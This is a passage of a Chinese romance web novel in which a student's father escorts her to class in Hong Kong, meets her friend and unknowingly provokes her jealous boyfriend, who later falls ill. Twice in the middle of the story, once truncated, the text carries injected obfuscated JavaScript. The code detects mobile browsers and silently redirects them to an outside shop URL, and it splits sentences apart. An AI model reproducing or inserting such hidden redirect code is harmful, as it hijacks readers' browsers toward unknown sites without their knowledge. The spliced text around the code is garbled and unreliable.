始料未及,刚走至走廊拐角处,她的身形就不由自主晃了晃。客厅沙发上的人听见声音抬起头来,双方的视线碰触的瞬间,气氛就陷入了微妙。 方协文今天一反常态,整个造型都极为清爽休闲,身上的深蓝牛仔衬衫和她今天的风格莫名还有点搭,再配上他那副无框的透明眼镜,衬得他不像个互联网行业大佬,倒像是她项目组里某个师兄。 她父母都拥有着被上天眷顾的人类基因,近十年又刻意保持着健康的生活和饮食习惯,以至即使到了这个年纪,两人依旧风华不减,潇洒迷人。 也不怪艾琳见到他真人后的第一时间,就把手机屏保换成了他的照片。 “爸,这么早?” 小初弯了弯眼睛,面上恭顺,心里却在嘀咕,这男人昨晚睡那么晚,今天还能这么神清气爽吗?她昨天只是看了会书聊了会天现在还昏昏沉沉呢。 都说时代专挑七零八零后坑,是真没坑错啊,他们这精力是真的旺盛。 方协文看了看表,“你几点的课,还有时间吃个早餐吗?” “啊?”小初没太懂。 “我陪你去上课,刚好,体验一下你们学校的学术氛围。”方协文站起身,补充道:“以后你也不要坐地铁上学了,曹旸姐可以同时给你做司机。” “真不用。”小初浑身写满拒绝,“爸,你还是在家陪我妈好了,我和曹旸姐一快出门目标就已经够明显的了,再加上一个您,岂不是更引人注目?万一再被小报记者拍了怎么办?” 方协文冷笑:“你以为没有我陪着,人家就不拍了吗?” 小初愣住。 方协文将电脑装进包里,“放心,我不会打扰你上课的,我坐一旁办公。” 小初想不出拒绝他的理由,只能拿黄亦玫当借口,“那我妈一会儿醒了看不到你怎么办?她会想你的。” 方协文目光微滞,很快转成荒诞之色,瞪她一眼:“方太初你少给我看乱七八糟的书,黄亦玫一个独立的现代女性,她就算醒了看不见老公又怎么样?没我在身边她的生活说不定安排得更充实呢,成年人的感情不是非要靠无时无刻黏在一起维系的,好吗?” “……” 小初眯了眯眸子,很想问问她看什么乱七八糟的书了,但最终还是忍住了。 行,就他们的爱情最深刻,最伟大,最不食人间烟火,最不需要用语言表达,好了吧? 两人推门而出,曹旸已等在电梯门口。 短发利落的她穿着一身低调的黑色休闲服,他们父女一出现,她就淡淡点了点头,叫了声,“方总,方小姐。” 小初看得出她并没有刻意营造不好惹的形象,但不知怎么她周身就是散发着一种拒人于千里之外的强大气场,让人不敢直视。 方协文点点头。 电梯很快一路向下。 因为都是小户型,这栋公寓楼的住户密度挺高的,但物业管理还算不错,从电梯边角的卫生情况就可判断。 小初住在十二层,不高也不低,站在阳台可以有很好的视野,真有突发情况走消防通道也能迅速跑下楼,她父母确实是什么都替她考虑好了,每个细节都是他们对她满满的爱意。 说不动容,那是她言不由衷。 公寓门口的黑色商务车无声无息,从外面全然看不到里面的情况,方协文自己的保镖阿海早已等在车边,一见他们的身影,就训练有素地帮他们打开了车门。 小初就着她爸的手上了车,这才发现车上除了司机还有方协文一个秘书。 小公寓离他们学校的距离不算远,所以预估车程并不会太久,尽管如此,秘书还是着重跟他汇报了几个重要项目的进程,小初静静听着,在听到黄亦玫之前提到的那个G端项目时,几个重要信息不经意被她捕捉到,就已经刻在了脑海里。 车子很快停靠在学校东侧一个应急出入口。下车之前,方协文还没忘提醒小初,“告诉你那小男朋友,最好不要到我面前来找晦气。” 小初嘴角一抽,没跟他计较。而是从包里翻出了她的防蓝光眼镜,以防被人拍到她平常的样子。 一下车,果然就有手持摄影器材的人围了上来,也不知道他们是怎么预判她会在这出现并发现她的踪迹的,明明她和她爸已经穿得这么素,车子又低调,这里还不是学校的什么重要出入口…… 还是说,他们用的是广撒网策略,在每个出入口都留了人? 还真是难为他们如此敬业了。 “方小姐。”三四个人一齐围上来,“请问……” 话还未说完,一行人立刻注意到了她身后的男人以及两位保镖,香港的记者不是很熟悉方协文,尤其他今天穿得还这么年轻,一时都有些困惑。 就在这短暂的几秒空白中,方协文已经拉着小初的手,向前走了好几步。 其中一人终于反应过来,不顾两位保镖的阻拦,冲到了最前面,不停追问着:“方先生来港是否跟令千金和余公子的恋情被曝光有关?听闻你和余生余太本来就是好朋友,那你们双方现在心情都还好吗?对此事是极力反对还是乐见其成?之前有就此事通话过吗?这次来港有否计划和余生余太会面?近期有和余氏集团合作的计划吗?对于昨天亦方股价大涨3%的事情方先生有什么看法?方小姐作为方先生你唯一的女儿,将来若是嫁到港岛,亦方科技将何去何从……” 对方的语速特别快,却又因为普通话太烂而十分含糊不清,小初是因为好歹在这边待了一段时间,才勉强判断出他每个断句之间的信息是什么,估计落到方协文耳中就无异于魔音了。 他的随拍摄影师也很专业,闪光灯比搭档的语速还要快,小初全程低眉敛目,压根不敢和镜头对视,要不是有她爸在身边,她简直想象不到她此刻会有多么窘迫。 想弄死那天两个狗仔的心在这一刻达到了顶峰。 方协文对所有问题一概不答,面上的表情更是不辨喜怒,只一味大步流星向前走,两父女步调一致,目标明确,又有曹旸和阿海保驾护航,没一会儿,他们就通过关口,消失在了校园内。 几个狗仔没有通行证,被拦在门外,大概也知道从他口中撬不出什么东西,也就没有继续跟上来。 到校内一处树丛后,方协文才顿住脚步,仿佛只有面对他最亲近的人才敢露出一点他的软弱,语气里都是无奈,“方太初,你看你给自己的人生找了多么大一个麻烦。” 小初侧目过去,白天的光线亮一些,她忽然发现父亲的鬓边已有一小片掩不住的灰白,她顿时怔在了原地,心脏不知被哪里来的箭矢刺中,密密匝匝的疼,她没敢说话,好容易才将喉间涌出的酸涩咽下去。 她一向以为她爸是无坚不摧的,可这一刻他的无助和担忧终于将他的内核暴露彻底,再强大的男人,他不过也就是个最平凡的丈夫,儿子,以及父亲。 “就那么喜欢吗?” 小初不应声。 曹旸和阿海知趣地站在三步开外,把独处的空间留给他们父女二人。 方协文叹口气:“方太初,我不像你妈妈,从小得到的都是完整的爱,所以你说得没错,我可能是有点专断,因为我不知道怎么对你才是好的,只能尽可能地帮你挡住我能感知到的潜在危险。但你确实也不是为我们活着的,你有你想要的人生,哪怕……你会撞到头破血流,那总归也是你的人生。爸爸能做的,就是永远张开双臂在底下迎接着你,让你就算从高处摔下来,也不至于受很严重的伤。” “爸!”小初忽然情绪失控,眼泪汹涌,“干嘛呀大早晨的!” “余家的复杂程度远超你想象,就你文然阿姨那么心思缜密的人进去,都不知道掉了几层皮,你有心理准备吗?” 小初倔强抹掉眼泪,“爸,我和他只是谈个恋爱!现在谁谈恋爱还想那么长远的事啊!” 方协文蹙了蹙眉,“你们不是以结婚为目的而谈的恋爱?” 小初不想就这个问题和他讨论下去了,只问他:“你想吃什么?我带你去尝尝这边的港式早餐?” “方太初你给我认真点。”方协文的神情逐渐凝重,“你的意思是姓余那小子也只是和你玩玩而已?这是你们两个的共识?” “哎呀!爸你烦不烦啊!”小初咬了咬唇,也不哭了,只是声音越来越低,“别问了行吗?” “我跟你说这绝对不行啊!”方协文强大的气场瞬覆盖了之前的脆弱,“我当初决定追你妈妈的时候,就是奔着要和她结婚过一辈子去的,一个男人连这点担当和决心都没有,你还跟他谈什么?我就说,他们家那个底色,一个个不是滥情出轨第三者插足就是男女通吃的,能养出什么好东西来,亏我昨天晚上想了一夜决定先支持你跟他往前走走看呢。” 小初极力解释,“爸,不是你想得那样,我的意思是,我们俩都还小,就算结婚也是十年后的事,现在就没必要想太多,也不是说就抱着玩玩的心态谈的好吗?” “就是说,他就是你这十年里必经的一个过程呗?” 小初仔细想了想,点点头。 “那就给我赶紧结束这个过程。为了没结果的人承受这些就更不值得了,早晨那些狗仔不烦吗?” 小初说:“不烦,反正我又听不懂。” 方协文冷笑:“自欺欺人是吧?” 小初挽住父亲的手臂,撒娇,“哎呀,走吧,先带你去吃饭。待会我还有个朋友要给你介绍呢。” 方协文立刻警惕起来,“谁?姓余的不行啊。” “放心,我发誓不是。” 小初连拉带哄,终于把她爸带去了上次那家餐厅,给两人分别点了餐蛋治配咖啡和芝士流心西多士配BB鸳鸯。 这一次,大概是心情作祟,她突然开始有点爱上BB鸳鸯的味道了。 曹旸和阿海已经吃过早餐,餐厅里都是赶着上课的学生,所以他们吃饭的时候,他们就站在玻璃窗外的台阶上,一个人盯着门口往来的人,一个盯着窗内座位上的父女。 小初被看得不自在,悄声问方协文:“爸,以后曹旸姐就这么寸步不离地跟着我吗?” 方协文冷笑不语。 小初挑了挑眉,“反正她不尴尬就行,你也谈过恋爱,总该知道……” 方协文手指忽然落到她的额头上,重重一戳。 小初大笑起来。 口中的BB鸳鸯柔滑微苦,风味特别。 她在桌子底下给余萧弋发微信:【今天见了我不要打招呼,我爸陪我上课来了。】 那边立刻回过来了一个哭泣的表情包。 吃了饭,小初就带她爸去了教室。这是一节公共习题课,给他们授课的是史密斯的一个博士生,也是她的师兄之一。进去之前她还小紧张了一下,生怕余萧弋作为助教也出现在教室里,但好在他并没有让她为难。 为了避免引人注意,她特地带方协文找了个没人的角落。可一落座,同组的Cathy还是眼尖地看见了他们,发消息给她:【方太初,你身边的大叔好有型!你认识吗?可以帮忙介绍吗?】 小初有些无语,她爸这是绑定了什么万人迷系统吗?怎么到哪都有小女孩追捧? 【那是我爸……】 【啊?真假!】 Cathy不说话了。 小初原以为这事就过了,没想到还没过三分钟,她就把这个重磅消息发到了同组的群里,并特地@了余萧弋,【师兄,你准岳父就在我们教室坐着呢!刚刚他进门我就看见了,腿超长,五官超立体!难怪能生出方太初这么漂亮的女儿!将来你们家小朋友就算隔代遗传也不用怕啦,阿公都这么靓仔!】 小初当时忙着演算黑板上的证明题,等她发现不对的时候,群里已经聊了几十条,并且每一条都有种看热闹不嫌事大的疯感,想必这帮人昨天也看见头条新闻了,开起玩笑来简直没轻没重。 【师兄,你们也太不小心,被人家这么近距离拍到,还是舌吻!】 【我要是报社老板,就给摄影师加一个月的鸡腿!】 【风和阳光都好解风情,照片的氛围感不可复制。】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“梁培风!”小初灿笑着朝他招手,“过来,给你介绍一人。” 方协文立刻凉凉看了她一眼,“这又是谁?” 小初还没来得及解释,梁培风已到身边。 在看到方协文的第一眼,他就整个愣住了,半晌,才惊异道:“所以网上说的是真的?你还真是……方总的女儿?” 小初不好意思地笑笑,把他拉到她身边空位坐下,并介绍给她爸:“爸,这是我好朋友,也是北京来的,明年计算机硕士毕业,我们……俩,现在正搭档准备数学建模大赛呢,回头要是拿了奖,请您吃饭。” 她不敢提团队里第三个人的名字,只能避重就轻,“他专业特牛。” 又问:“让你带的简历带了吗?” 梁培风满脸通红,但到底是北京X中出来的天之骄子,最终还是稳住了,他当然比谁都明白,以亦方科技如今在业界的地位,每年校招宣讲会都只会选在那几所TOP开,若不是有幸认识了方太初,他还真不敢保证自己能不能在一众清北学子中脱颖而出。 “带了。”梁培风从包里拿出那叠纸,毕恭毕敬地双手奉上,“方叔叔,您好。” 方协文的目光不经意在梁培风脸上滑过,又在自己女儿脸上含义不明地定了几秒,这才垂眸翻开了手中的纸。 说实话,他都有点被气笑了。 他这个女儿还真是人才中的人才,都这会儿了,竟然还有心思帮同学介绍工作呢,他都不知道她是没心没肺,还是太有大局观了。 不过,很快,他就被梁培风闪闪发光的履历吸引了目光,仔细看了一会儿,再抬头,神色已经温和许多,“梁同学确实优秀。” 小初扬了扬下巴,得意又骄傲,“那当然了,你也不看看他是谁的朋友。” 然后才笑嘻嘻将那叠纸接了过来,也不管他爸怎么想,就帮他塞进了他的办公包里,“那我就把他先放进亦方的人才储备库了啊,等明年他毕业……” 空气里不知从哪里传来一阵她熟悉的香水味道,但她已越说越激动,根本顾不上那么多了,“爸,梁培风是符合亦方招聘要求的吧?” 方协文没好气瞪她一眼:“你也不先问问人家想不想去?凭梁同学的履历,只怕我们在人家的储备库里还差不多。” 梁培风立刻表态:“方叔叔,我愿意的。” 小初笑,大喇喇将手揽在梁培风的肩膀上,像真正的好朋友那样,“爸,我要他。所以你也必须得要他。” 方协文这次是真的被气笑了,但也有惜才之意,“行,等他明年毕业,如果想回北京,就来亦方报到好了。” 小初侧过头去,朝梁培风眨眼:“就来我的数学研究中心,我想做的第一个产品就是美颜相机,那种真的能还原人眼在镜子里看到的自己的样子,不是现在市面上那些要么就挑人的缺点拍,要么就把人拍的跟塑料模特似的。名字我都想好了,就叫Real Me。再下一步,我还想做能让人跨过恐怖谷效应的仿真家用型机器人,这两个产品规划我们的共同的二十年,怎么样?” 梁培风惊讶地看着她,像他们认识那天一样,她总是给他如此特别的感觉。 “好啊。”他深深地勾起唇角。 第二节课的铃声响起。 就在刚刚的十分钟内,小初就已经把她未来的二十年简单规划好了。 方协文也很欣慰,不管她的计划是否能成行,但看她如此生机勃勃,如此有野心和冲劲,他做父亲的,既然有这个能力支持她,当然义不容辞。 小初说得开心,刚刚还没觉得,这会儿静下来,才忽然记起来那个熟悉的味道是什么。 不就是……余萧弋身上的香水味吗? 她已慌到极致,却又不敢回头,只能求助地看了看梁培风。 下一秒,就得到了他肯定的,无声的回答。 他就在她身后。 在她的眼角余光里,他的脸掩在黑色卫衣的帽子里,神情模糊。 56.第 56 章 他是什么时候来的? 刚刚又有多少对话落到了他耳朵里? 小初的心思千回百转,也没拿准他会怎么想,她给梁培风介绍工作这个事倒也没有什么可瞒着他的,只是,这个人陪史密斯去的不是纽约,而是山西,最近很会吃醋。 于是她发信息给他:【你怎么来了?】 语气是不是有点生硬? 这么想着,刚发出去一秒的消息已经被她撤了回来,改成了,【Morning BB】,虽然有点肉麻,但凭她对他的了解,他应该还是挺吃她这一套的。 看在他这两天也受了不少委屈的份上,她就勉为其难哄哄他好了。 第二条消息发出去的同时,他也回了过来,【撤什么,已经看到了。】 小初呼吸一滞,立刻把上一条也点了撤回。 【这条不用撤!!!】 小初的目光定在那个三个叹号上,轻哼一声,不搭理他。 【你给我重发回来。】 小初从善如流,马上把那条【你怎么来了?】又给他发了过去。 余萧弋快被她气疯了,这次是直接发了个一长串的省略号过来。 小初挑眉,嘴角的弧度再也收不住,只涂了桃子味润唇膏的她仿佛也变成了一颗娇艳欲滴的水蜜桃,脸颊和耳垂都变成了淡粉色,初恋感扑面而来。 梁培风侧眸看了她一眼,又不经意看了看她身后蹙着眉一副严重不爽模样的余萧弋,很怀疑小初微信聊天页面上的那个人到底是不是他。 如果是的话,这画风怎么奇怪? 方协文正在忙工作上的事,并没有注意到她这边的异常。 【我来听听方小姐你的人生规划,仔细听了一下里面好像没有我。】余萧弋咬着唇,指尖飞快。 小初回过去:【怎么没有!你是不是没有听清楚?】 余萧弋发过来一个我读书少,你别骗我的表情包。 小初收起手机换成平板,双手操作键盘果然顺畅很多,【关于做美颜相机的想法还是前几天给你发自拍时候灵光乍现的,你不觉得那张照片连我三分之一的美貌都没有还原出来吗?】 余萧弋嘴角不自觉上翘了一下:【方太初你在自夸这方面也可以申请一个专利。】 小初无视他的犀利,继续说道:【想要真实还原用户的美貌,还是要基于庞大的数据分析,软件要有通过微表情感受用户此刻心情的能力,而不是一味柔化大眼瘦脸,把所有人都同质化成既定的几个模板。】 余萧弋在她看不见的地方点点头:【那确实。】 【能让恐怖谷效应消失的仿真机器人也同理,随着人类自我意识的崛起,将来不婚不育的人只会越来越多。能做情感陪伴的机器一定不能是冰冷刻板的,它得像真正的人类一样,通过用户的微表情就能感知到对方情绪的存在,然后才能去理解和解决它。那就还是需要庞大的面部识别数据和分析,才能进行下一步的有温度的仿生交互。】 余萧弋说:【所以这两件事其实一个循序渐进的数据收集、运算和应用过程?】 小初笑:【聪明。】 余萧弋还是不懂:【想法是不错,但我还是没明白这件事哪个部分和我有关系。】 小初善意提醒:【小余总之前不是说要投资我的梦想吗?机会现在不就来了?】 余萧弋咬咬牙:【所以方小姐是要我投资你和梁培风的二十年吗?】 【哎,小余总格局打开点。】 【打不开。】 小初发过去一个坏笑的表情包,【那算了,也不知道之前谁说的一个女人要是不能心安理得花一个男人的钱,就说明她还不够爱,我去找别人好了。】 【……】余萧弋动作微滞,很快又回过去:【你能不能有点诚意,想打动投资者的心,耐心就这么小小?】 小初咬唇,【那你要怎样?】 余萧弋斜了斜嘴角,锁上手机,身体稍微前倾,呼吸就喷薄在了她的后颈上。 小初的脖子本来就敏感,没有丝毫心理准备的她突然被这么对待,一股说不清的热和酥麻瞬间山火一般顺着他呼吸侵染的位置开始燎原,完全没有意识地,她就“嘶”了一声。 方协文不知怎么偏在这会儿转过头来。 小初快被吓死,身体倏地向前一躲,然后就是书本落地的声音,一声巨响过后,所有睡意昏沉的人都闻声转了过来。 余萧弋几乎一秒钟就趴在了桌面上。 梁培风捡起地上的书,一脸歉意,“不好意思方叔叔,我的书没拿稳。” 方协文瞥了一眼他,又狐疑盯了小初几秒,到底没有说什么,继续忙他自己的去了。 小初的心脏几乎从胸腔里跳出来,气得打开手机骂他:【余萧弋,你真的很挑衅了。】 【我错了BB。】 【那你现在走。】 【我不。】 【那你到底怎样才能走?】小初咬牙切齿。 【再哄哄我,不然我恐怕没法从你和梁培风的二十年约定里走出来。】 【……】 方协文这次没转头,只淡淡说了句:“方太初你什么毛病,上个课一直看手机?” 小初立刻锁了屏幕,不敢再说话了。 讲台上的师兄连着站了一个多小时,终于有些受不住了,歉然跟大家说了句:“我出去一下,后面的等我回来继续。” 底下的众人说:“师兄这个题我看今天也讲不完了,要么就下节课再说算了。” 师兄面色有些苍白,看着是很急着去卫生间了,但还是坚持说道:“一个题讲两节课已经很夸张了,还要拖到第三节?不行,今天必须讲完,即使占用课后时间。” 教室里瞬间一片哀嚎。 旁边的方协文和身后的余萧弋让小初紧张到了极致,以至于她想也没想就起了身,示意师兄:“这道题我已经做过,师兄要是不舒服,我来把下面的讲完好了。” 同学们都愣了一下。 这世道怎么这么不公平,他们一半人还一知半解,人家方太初都可以授课了。要么史密斯对她那么和颜悦色呢,连心爱的小乌龟被她踩死了都没发飙。 出生就已经在罗马的人,又何须这么用功? 师兄点点头,“OK,那你来。”一边说,一边已大步朝门口跑去。 小初走向讲台。 教室里一片安静。 方协文,余萧弋和梁培风也都抬头看向了她,眼底的欣赏明晃晃。 小初大概看了下师兄的板书,按照他的逻辑迅速把前面已经证明的步骤顺了一遍,这才拿起讲台上的麦克风。 她今天穿得特别文艺,早晨的防蓝光眼镜还架在鼻梁上,这一切都让她看上去无比知性且高智,没有任何媚俗的脂粉感。 她开始顺着师兄的思路往下讲,虽然她觉得自己的步骤还更精简一点,要是整道题都按照她的逻辑来做,应该一节半的课时就足够了。 同学们早在各种组会上见识过她的厉害,所以也只是最初的几分钟集中了下注意力,很快,教室里的大部分人就又沉浸到自己的小世界去了,包括方协文和梁培风。 梁培风本身就不是数学专业的,很多东西他根本就看不懂,方协文也同样,而且因为工作实在太忙,他只最开始拿手机拍了几张小初的照片发到了家族群,就继续看邮件去了。 只有余萧弋一瞬不瞬地看着她。 思路和爱慕都跟着她的笔触流动和发散着,偶尔目光相接,两人都淡淡一笑。 小初就知道,只有他懂。 距离下课还有五分钟,小初已经结束全部推理过程,整个板书简洁而美观,对所有人而言都是一种难得的视觉享受。 很多同学都睡着了,小初也没有提醒,只是再次隔着人群看了看余萧弋,待得到他的回应后,她才在黑板上写了一串符号和字母。 一边写,一边擦,为的就是,只让他一个人看见。 ?!x∈{Theo Yu},F.Junior''Happyness(x)=Max 【这世上只有你,才能给我最大的快乐。】 这样,可以哄好吗? 擦掉最后一个“x”,她才笑着转身说了声:“可以下课了。” 众人如梦初醒,不用拖堂受罪,欢呼声此起彼伏。 小初大步走下讲台,师兄才姗姗从外面走进来。 看到密密麻麻的板书,他明显吓了一跳,似是不敢相信,他又整个将她的过程复盘了一遍,然后才长舒口气,赞道:“师妹太厉害了。” 小初摆手,谦虚道:“没有没有,主要是我已经做过一遍了。” 回到座位,方协文和梁培风都给她鼓掌。 小初红了脸,视线不经意滑过余萧弋好看的眼睛,又看了看门的方向,意思很明了——亲爱的,你能离开了吗? 余萧弋笑,微不可察地跟她眨了眨眼。 下课铃声响起。 小初开始收拾东西,梁培风也准备撤了。 方协文将电脑塞进公文包,这才想起什么似的,问梁培风:“梁同学,你这个培风,名字取得真好,有什么寓意吗?” 梁培风一怔,然后才笑说:“培风取自《庄子·逍遥游》,算是我爸妈对我的一种期许吧。” 方协文认可地点点头,眼底都是光:“这不是巧了吗,我家方太初的名字也取自《庄子·天地》,太初有无,无有无名,你们俩还真有缘分。” 小初收拾东西的手一顿,不知怎么瞬间感觉如芒在背。 方协文又问:“你爸妈,是做什么的?” 小初马上抗议:“爸,您干嘛呢,怎么还调查人家户口呢?” 她稍稍转过身,安抚地看了一眼本来都已经被她哄得很开心、而现在又有点破碎的余萧弋,突然好疲惫。 “啊……”梁培风脑子里的念头也是百转千回,但既然长辈问了,他也没有不回答的理由,只能微微欠了欠身:“我爸妈都是北S大的老师。” “是吗?”方协文已经完全不掩饰他眼底的喜欢和欣赏之意,“那说不定他们跟小初她姥姥姥爷还认识。” 梁培风也快碎了,他迅速看了余萧弋一眼,才说:“有,有可能。” 方协文满意至极,又说:“中午一块吃饭吗?” 梁培风哪还敢跟他吃饭,马上谢绝:“不了叔叔,我还有事。” 方协文有些遗憾,但还是点了点头:“那回头等你回北京,咱们再一块吃。” 这次还没等梁培风回答,小初就一把挽住了方协文的手臂,“爸,你是不是忘了我妈还在家呢?正好我下午没课,咱就别在学校吃饭了。” 一边说,一边推着他往背对着余萧弋的方向走,没一会儿,两人就从后门离开了教室。 梁培风已经化成了雕塑,半晌,才赔笑了一句:“Theo,你千万别多心啊,我和方太初只是普通朋友。” 余萧弋无可无不可地看他一眼,忽地一下起了身,连句再见都没说,就从另一个门出了教室。 他仔细想了想,方协文好像全程都没有看他的方向,可不知怎么,他就是有种直觉,他的话,都是故意说给他听的。 心里实在烦闷,他连饭都没吃,就回了自己的住处。 一进门,狗狗和兔子就朝他跑了过来,按照往常,他是一定会先陪它们玩一会儿的,可今天,他怎么都提不起兴致。 客厅的展示柜里还摆着他从纽约买给她的那些小礼物,一只牛角包形状的玩偶正在似笑非笑地嘲讽着他的滑稽。 近十天的混乱的作息和巨大的精神压力已让他疲惫到了极致,也顾不上那么多,他就那么直直跌在了沙发上。 毯子上还残留着她身上的味道,他收紧手臂,眼泪无声无息。 新闻推送了方协文抵港的消息,标题《避之若浼》四个大字明晃晃,一如既往地极尽挑拨。 他不由自主点进去,文章内容还没看,模糊的视线就先被小初和方协文手拉手画面吸引。 穿着类似款式的休闲衬衫的两人都没有看镜头,疏离感从透明的无框眼镜折射出来,跟周围的纷乱格格不入。 说不清哪里不一样,但就是很明显,他们都不属于这里。 不知过了多久,他终于沉沉睡去。 梦里的世界一如既往地喧嚣而无序。 他站在十字路口,迷茫地看着行人和来往车辆,竟一时不知道自己该去向何处。 耳边好多人在说话。 爷爷奶奶说:“Theo,你是余家的长子嫡孙,无论几时,都不能任性妄为,要以家族责任为先,知道吗?爱情?呵呵。你钟意哪家女仔?玩玩当然可以啦,但婚姻,一定要听话,爷爷奶奶从小最看重的就是你,怎么会害你?” 爸爸妈妈说:“Theo你要争气,功课要好,运动要好,才艺也不能落下,记住你是哥哥,弟弟妹妹都会跟着你有样学样的,你要做他们的灯塔和北极星。爷爷奶奶的话你听听就好,不用句句放在心上,他们的想法,不一定都是对的。” 堂哥说:“Theo,大家都是姓余的,你怎么命这么好?我余珺彦下辈子都唔知有没有你这种父母双全,集万千宠爱于一身的运气。说说看,你是什么感受?为什么我已经这么努力了,还是被你后来者居上?” 弟弟妹妹说:“哥,你好烦,好好好,你都对,请你出去好吗?” 最后才是那个让他着迷又欣赏的她,那个永远鲜活向上,率真而灵动的她。 只是这一刻,她脸上再无往日桀骜的笑容,只剩下泪痕,“对不起啊余萧弋,我父母不同意我和你交往,我……不能让他们伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537740|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。” 说完,她就消失在了人海中。 任他再怎么追寻,都没找到她一丝踪迹。 一回到家,小初就开门见山问方协文:“爸!你刚才问梁培风那些话是不是故意说给他听的?” 方协文毫不掩饰,“当然是给他听的了,不然说给你听的?” 小初气得半死,一着急眼泪就已经在眼圈了,“您怎么能这样呢!太过分了!他听了该有多伤心啊!” 方协文愣住,不确定地问道:“你不是说跟他只是好朋友吗?” 小初满目疑惑,“你说的谁?” “梁培风啊。”方协文反应过来,眉心一秒钟就蹙了起来,“你说的又是谁?” “……”小初的情绪马上散得无影无踪,弯起眼角,“我说的也是他。” 方协文狐疑,电光火石间他似乎已明白了什么,语气逐渐蕴满冷意,“那小子刚刚也在?我不是不许他出现在我面前吗?他坐的哪个位置?你后面那个穿黑色卫衣的?” “没有的事!”小初跳到卫生间门口,对正在洗澡的黄亦玫喊道:“妈,我饿了,中午吃什么?” 花洒声间歇,里面传来她妈妈在此刻无异于天籁的声音,“干妈说请吃饭呢!稍等我一会儿。” “好的!”小初答完就逃回自己房间去了。 然后发消息给余萧弋,【在做什么,吃饭了吗?】 若是平时,无论多忙,五分钟内他是一定会回过来的。可今天,也不知什么情况,直至她这边饭都吃了两顿,天色也已大黑,他那边都无声无息。 小初隐隐察觉出了不对。 想了想还是跟他解释道:【我爸今天不知道你在,所以那些话不是针对你的。】 发完过了几分钟她才想到另外一层,不知道他在,她爸还那么情真意切,不更你说明他从心里喜欢梁培风吗? 可已经撤不回了。 God。 她赶紧给他打电话过去。 电话竟然也接不通。 她这才有些慌了。 点开What''s App她才想起,他那群朋友她就只加了铭仔的联系方式,可他此刻正在万里之外的加拿大,远水解不了近渴。 IG万年不用,她的个人页面一片空白,手指又不听使唤的一直抖,浪费不少时间,她才找到关注人列表的位置,并点开余萧弋的账号。 她自然没忘,他是她唯一互关的好友。 他的动态昨天才更新过,照片里是戴着卡通手表的两只并排放在一起的手。指节修长、线条流畅的是他,手腕纤细、肤色白皙的是她。 无需解释,女主的名字已呼之欲出,评论区里点赞最多的那条评论,就是他和她倚在车边拥吻的那张照片,上面层层叠叠都是水印,也不知是被转载了多少次。 铭仔照例最活跃,底下密密麻麻都是他的留言。 【这方小姐藏得够深的啊!Theo该不会也是才知道吧?】 【千亿豪门大小姐,浑身上下最贵的是她的手机……】 【不过这样我就放心了,不然一想起她妈妈好好一个女神嫁给了平庸的男人我就痛心。】 好多人起哄,【人家女神的事跟你有关系吗?】 爱马仕姐说:【一切突然合理了有没有?】 陈嘉言发了一个大笑的表情,【之前她当街让Theo get out of here的时候,我还以为她疯了。】 【原来早有迹可循。】 【现在想想她真的好特别。】 【从质疑他,到理解他,我只用了一分钟。】 下面还有一百多条小初不认识的人的留言,但她已心急如焚,没心思再看。 【我是方太初,Theo从中午开始联系不上,你们有跟他在一块吗?】 她把这条消息分别私信几个人。 很快爱马仕姐就回了过来,【没,我们都快半个月没见他了,怎么了吗?】 【没什么事,我现在去他家看看,有消息告诉你们。】 【你们没在一块吗?】 小初没回,而是直接起了身,喊不远处的曹旸,“曹旸姐,跟我出去一下。” 方协文去见朋友了,她身边只有黄亦玫和谢令妤,两人都被她慌张的神色吓了一跳,诧异道:“发生什么事了?” 小初勉强勾了勾唇,没解释,就小跑着下了楼。 黄亦玫只说了三个字“要不要……”就被谢令妤喂了一嘴的糖水。 她眨眼:“还看不出吗,她去见男朋友了。二十岁不正是谈恋爱的年纪吗,要我说你和老方也太草木皆兵了。” 黄亦玫差点被呛到,赶紧拿纸巾擦嘴,“主要那余家……” “那孩子我见过,看着挺好的,你们也不能因为一个姓就把人家给否了吧?” 黄亦玫瞪大眼,“你见过?” 谢令妤笑,“怎样,你嫉妒啊?” 小初上了车,第一件事就问曹旸,“曹旸姐我爸让你保护我,有没有跟你明确说不许我见什么人?” 曹旸目不斜视看着路况,声音平稳,“没,我只负责你的安全,其他的都是你的私事。” 小初默然。 车子很快到了余萧弋楼下。 曹旸只陪着她上楼出了电梯,就极有分寸地停在了原地。 小初顾不上她,注意力都集中在电子门锁上,她太紧张,密码连输错了两遍,再一遍,她估计她就要被锁在外面了。 门终于开了。 借着道里的光,她看见Enzo正蹲在门口等她,大概是认出了她的声音,它很乖,始终安安静静。 房间里没有开灯,也不像有人在家的样子。 她一颗心慢慢沉下去,像是不会游泳的人眼睁睁看着水没过头顶。 按下开关的下一秒,她的眼泪就下来了。 只因为,她看见她担忧了大半天的那个人,正以那天她醉酒的姿势,躺在沙发边的地垫上。 “余萧弋。”她大步向前,跪倒在他面前,一把扯掉他盖在头上的毛毯,眼泪已失控,“你怎么了?” 余萧弋迷蒙睁开眼睛,恍惚还以为自己在梦里,他伸出手,摸了摸她的脸,声音艰涩:“你不是走了吗,怎么又回来了?” 他的手很烫,小初意识到什么,赶紧摸了摸他的额头。 果然,他在发烧。 “我走去哪?” “北京。你跟我说你回北京,再也不回来了。” 小初终于崩溃,俯身抱住他,已然说不清自己现在是什么心情,只是觉得难过,难过到她呼吸都是滞涩的。 承诺未经深思熟虑就已自然而然说出口,“就算回北京,我也会带着你,我永远不会丢下你。” “真的吗?” “真的。” 57.第 57 章 比他身体更灼热的,是他的眼神,小初刻意避开,视线不经意向下,就落在了他有些干涩的唇上。 她第一次意识到,他的唇形还挺饱满的。 